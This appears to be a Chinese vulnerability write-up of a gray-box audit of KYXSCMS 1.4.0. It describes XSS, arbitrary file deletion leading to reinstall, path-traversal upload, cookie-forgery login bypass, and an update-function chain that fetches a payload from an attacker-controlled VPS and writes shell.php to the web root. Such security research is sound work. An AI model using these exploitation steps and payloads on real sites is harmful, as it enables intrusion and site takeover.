KYXSCMS 灰盒测试

admin 2025年7月1日17:15:12评论1 views字数 6261阅读20分52秒阅读模式
KYXSCMS 灰盒测试
KYXSCMS 灰盒测试
1
前言

    狂雨小说CMS是一个基于TP5.1.33框架的小说内容管理系统。缩写为KYXSCMS。灵活,方便,人性化设计简单易用是最大的特色,是快速架设小说类网站首选,只需5分钟即可建立一个海量小说的行业网站,批量采集目标网站数据或使用数据联盟,即可自动采集获取大量数据。内置标签模版,即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。

本次漏洞挖掘为灰盒测试,使用黑盒测试的直觉定位可能存在的漏洞点,再使用白盒审计的代码理解力去分析漏洞成因,故黑+=灰。使用该方法挖到的漏洞均有”*“标识,其余漏洞点则大部分为黑盒得到。如果想看看有什么漏洞建议顺序阅读,如果只想学习审计流程思路,建议直接阅读最后的【任意文件写入】

测试系统为1.4.0最新版,站长之家下载;使用PhpStudyV8搭建;测试环境为Windows10+ PHP5.6.9 + Mysql5.7.26

正文开始。(PS:带有*号标识的为本文重点,最重点为文末最后的【任意文件写入】)

2
漏洞点:

【XSS-1】后台文章编辑器

KYXSCMS 灰盒测试

前台点击文章即可触发。

【XSS-2】后台广告管理+模板管理

这里的主要原因是该系统写入数据库的所有数据都没有XSS的过滤

step1:添加广告

KYXSCMS 灰盒测试

step2:模板调用,任意一处插入即可。

KYXSCMS 灰盒测试

【XSS-3】直接修改模板

修改模板添加普通的XSSpaylaod保存即可。

【GetShell】直接修改模板

修改模板添加普通的一句话木马保存即可。

【*任意文件删除-1】数据管理-->小说管理-->添加-->删除

step1:在网站根目录新建一个测试目录,目录下新建测试文件

KYXSCMS 灰盒测试

step2:后台数据管理-->小说管理-->添加,手动输入路径

KYXSCMS 灰盒测试

此时保存后,数据库中Novel表中的pic字段值就为../../test/testdel.txt了。

step3:点击删除

KYXSCMS 灰盒测试

step4:成功删除

KYXSCMS 灰盒测试

代码位置:

漏洞点在application/admin/model/Novel.php

KYXSCMS 灰盒测试

由于添加时封面路径可控,即存入数据库的pic字段的值可控。并且,整段代码并无任何过滤./的行为,这就造成了任意文件删除。

删除点在extend/org/File.php

KYXSCMS 灰盒测试

通过动态调试得到的信息可以看到,最终unlink函数中的$filename的值就是我们控制的pic字段的原值,没有任何处理限制就直接删除了。

查找用法,得到如下几处漏洞点

【任意文件删除-2】文章管理处,步骤同上。

代码位置

漏洞点在application/admin/model/News.php#127

【任意文件删除-3】文章编辑处

将之前的点击删除 改为点击编辑,修改掉封面路径并保存可以达到同样的效果。

代码位置

漏洞点在application/admin/model/News.php#95

【任意文件删除-4】小说编辑处

漏洞点在application/admin/model/Novel.php#110

【任意文件删除-5、6】

分别为

1.用户管理--上传头像处步骤同上(删除用户触发)

2.管理章节处(导入章节),先随便上传一个txt,然后手动修改路径点击提交,这里会验证分割字符,可以自定义为空格,或者使用默认的换行应该可以通过大部分文件的验证了。

KYXSCMS 灰盒测试

【*配合任意文件删除导致系统重装】

利用任意一处删除漏洞点,删除../../application/install/data/install.lock(此处示例利用的点为小说管理处的删除)

删完就这样了:

KYXSCMS 灰盒测试

然后直接访问http://www.kyxs.com/install/index重装(差点以为不能重装)

访问http://www.kyxs.com/index/即可重装

【路径穿越上传】

可以将文件上传至任意目录下,可以上传html(但会重写文件名并不返回路径),如果返回路径的话可以算作一个文件上传XSS

http://www.kyxs.com/admin/upload/file?path=../../

代码位置:

application/admin/controller/Upload.php#16pic方法)或26file方法)

KYXSCMS 灰盒测试

KYXSCMS 灰盒测试

原因均为path参数用户可控且五过滤。没明白开发者设置这个参数存在的意义是什么。

【文件包含GetShell】模板功能的绕圈玩法

上传Logo处上传图片马会返回路径

KYXSCMS 灰盒测试

模板编辑处可使用模板语法包含该图片,这里在footer.html处修改

KYXSCMS 灰盒测试

访问主页即可触发

KYXSCMS 灰盒测试

【恶意刷积分&经验】只需普通用户登录

重复请求

http://www.kyxs.com/user/user/add_exp_points即可刷积分

【*登录鉴别is_login()函数逻辑缺陷】

伪造Cookie获得任意账号的登录状态。

KYXSCMS 灰盒测试

可以伪造任意账号的登陆状态,此处利用方式为刷用户积分的请求。同样的,由于存在该登录状态鉴别的逻辑缺陷,会导致普通用户的各种水平越权。(除密码修改,因为密码修改处验证了当前用户密码)。后台管理员身份验证方式为Session,所以是不能垂直向上越权的。

代码位置:

application/common.php#17-46

KYXSCMS 灰盒测试

KYXSCMS 灰盒测试

如代码所示,仅仅使用了sha1算法进行hash之后校验,像这样甚至可以伪造一个不存在的用户:

KYXSCMS 灰盒测试

【任意密码重置】忘记密码

拦截包,修改邮箱地址即可收到验证码

【*任意文件写入】利用系统更新功能

0x01先分析调用链

更新方法在:application/admin/controller/Upgrade.php#72

public function update(){   $Upgrade=model('upgrade');   if(false !== $up_return=$Upgrade->updates()){       return json(['code'=>1,'number'=>$up_return],200);   }else{       return json(['code'=>0,'error'=>$Upgrade->getError()],200);   }}

逻辑很简单,else分支是返回错误响应,这里需要进入if分支,所以进入$Upgrade->updates()方法继续看

跳转到:application/admin/model/Upgrade.php#54

public function updates(){   $num=Request::get('num',0);   $upArray=$this->upContent();  $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);   if(!$upCode){                                  //圈1       $this->error="读取远程升级文件错误,请检测网络!";       return false;   }   $dir = dirname($upArray[$num]['stored_file_name']);   if(!is_dir($dir))       mkdir($dir,0755,true);    if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){  //圈2       $this->error="保存文件错误,请检测文件夹写入权限!";       return false;    }   return $num+1;}

先看整体逻辑,因为肯定不想让程序执行出错,所以最关注的点应该是怎么样能不进入returnfalse的分支。①所以需要$upCode不为false;②系统安装时需要网站目录下所有文件夹的可读可写权限,所以只要保存路径为网站根目录下,就不存在保存文件错误。

这样,重点就放在了1.$this->upContent()方法和2.Http::doGet这个请求方法,依次看

1. 跳转到:application/admin/model/Upgrade.php#72逐行解读upContent()方法

public function upContent($id=null,$type=null,$model='updata'){   $content=Cache::get('update_list');   if(!$content){       $url =Config::get('web.official_url').'/upgrade/'.$model.'/'.$id;       if($type){           $url = $url.'/'.$type;       }       $content=Http::doGet($url,30,$this->oauth_access_token);       $content=json_decode($content,true);       Cache::set('update_list',$content);   }   return $content;}

首先尝试从缓存中获取update_list如果获取到就直接return了,这里要想利用的话,肯定是要清理一下系统缓存的(后台有清理功能)

那么进入if,从配置中获取web.official_url,然后拼接/upgrade/updata/$id,对$id没有要求,且因为调用的时候没有传入参数,故这里都是使用默认的参数值,if($type)也是进不去的。

接下来注意到向Http::doGet第三个参数位置传入了$this->oauth_access_token,跟进doGet()大概看了一下,仅仅是作为一个HTTP头来做验证的,而如果为了单纯发请求的话,对这个参数没有任何要求。如下图:

KYXSCMS 灰盒测试

再接下来就是使用json_decode解析数据并写入缓存了(回想upContent()方法首先判断的就是有没有缓存)

2. 跳转到:extend/net/Http.php#46逐行解读doGet()方法,见上图。

因为在updates()方法中调用doGet时只传入了url,且从这段代码中不难看出,对于URL的只是做了添加http://的简单拼接,并没有限制,如果URL可控的话,就可以让程序发起向任意服务器的请求了。

调用链分析完毕

可以得知:1.url可控的话可以向任意服务器发起http请求;

2.upContent()方法返回一个数组,且是经过$content=json_decode($content,true)处理后的数组,所以原始响应数据应该为json格式的。

总结来说:如果请求目标(url)可控,那么$content可控,即$upArray可控;而如果$upArray可控的话,就能够让程序去请求服务器上的指定资源了,即原始响应数据可控。

0x02请求目标是可控的

管理后台提供了SQL语句执行的功能

KYXSCMS 灰盒测试

而关键的服务器地址恰恰是存储在数据库中的config表中的92条记录

KYXSCMS 灰盒测试

这样就可以通过执行SQL语句来修改为任意的服务器地址了

KYXSCMS 灰盒测试

0x03指定请求资源

回头再看看请求资源文件名的方式是什么

public function updates(){   $num=Request::get('num',0);   $upArray=$this->upContent();  $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);   if(!$upCode){       $this->error="读取远程升级文件错误,请检测网络!";       return false;   }   $dir = dirname($upArray[$num]['stored_file_name']);   if(!is_dir($dir))       mkdir($dir,0755,true);    if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){       $this->error="保存文件错误,请检测文件夹写入权限!";       return false;    }   return $num+1;}

通过$upArray的使用方法不难看出,这是一个二维数组,num默认为0,也就是$upArray[0]['file_name']$upArray[0]['stored_file_name']两个元素

这里的$upCode并非字面意思,而是获取到了具体的数据,且在下边的代码中会写入$upArray[0]['stored_file_name']名字的一个文件中。

所以代码逻辑就是,请求获取服务器网站根目录的$upArray[0]['file_name']文件,将其写入$upArray[0]['stored_file_name']中。

同时,由于upContent()方法中请求的是拼接了/upgrade/updata/$id,也就是http://my-vps-ip:port/upgrade/updata/$id,的url。所以需要在http://my-vps-ip:port/upgrade/updata/下写好一个文件(index.html为例)因为$id是个num,且不重要。而且是http协议的请求,没有指定请求的文件而仅仅是目录,按照默认网站服务器配置规则,一般会默认访问index.html(注意不是仅仅起个临时服务能解决的哦,用python起的验证过是不行)

index.html的内容,需要写为:

{"0":{"file_name":"exp.txt","stored_file_name":"shell.php"}}

接着,还需要在自己的Web服务根目录下新建exp.txt,写入<?phpphpinfo();?>

0x04利用!

VPS上起一个Web服务:

KYXSCMS 灰盒测试

创建文件1

KYXSCMS 灰盒测试

创建文件2

KYXSCMS 灰盒测试

只需请求http://www.kyxs.com/admin/upgrade/update,即可在网站根目录下写入shell.php!

KYXSCMS 灰盒测试

事实上,之前提到的先使用后台有缓存清理功能,但事实上是不好用的。

这个清理缓存功能清理不了runtime/cache下的.php缓存,而事实上我在清理了缓存之后,Cache::get('update_list')还是可以获取数据,全局搜索发现是在这里还有存储:

KYXSCMS 灰盒测试

所以说如果是实际的站点的话,还需要确定官方的更新文件中file_namestored_file_name的值才能进行利用。。。。。。。。

总结

本次灰盒测试主要的技术点在于对MVC框架的理解,笔者认为代码审计的基础能力其实就是对”创造“和”破坏“的关系,懂得了如何去写功能才会有能力去挖掘功能点中存在的问题。这篇文章实际上就最后一个漏洞的描述比较清晰(前言有提到),也是由于想到其他漏洞点原理过于简单不适合大篇幅赘述。总的来说,KYXSCMS是比较适合新手去实战联系代码审计的能力的。在此给小伙伴们提一个还能进一步挖掘的点就是这个CMS还有一些phar反序列化问题未在本文说明,有兴趣的可以去研究一下TP5.1.3x的反序列化漏洞。

推荐学习:https://github.com/Mochazz/ThinkPHP-Vuln/tree/master/ThinkPHP5

3
关注

欢迎关注公众号

关于公众号投稿 

接受原创文章投稿

内容免杀 渗透实例 代码审计 溯源 经验技巧

要求 不能水文 从没发表 敏感内容打码

一经采纳根据文章质量给予作者 50-200的稿费。

投稿联系

KYXSCMS 灰盒测试

原文始发于微信公众号(moonsec):KYXSCMS 灰盒测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日17:15:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   KYXSCMS 灰盒测试http://cn-sec.com/archives/809099.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息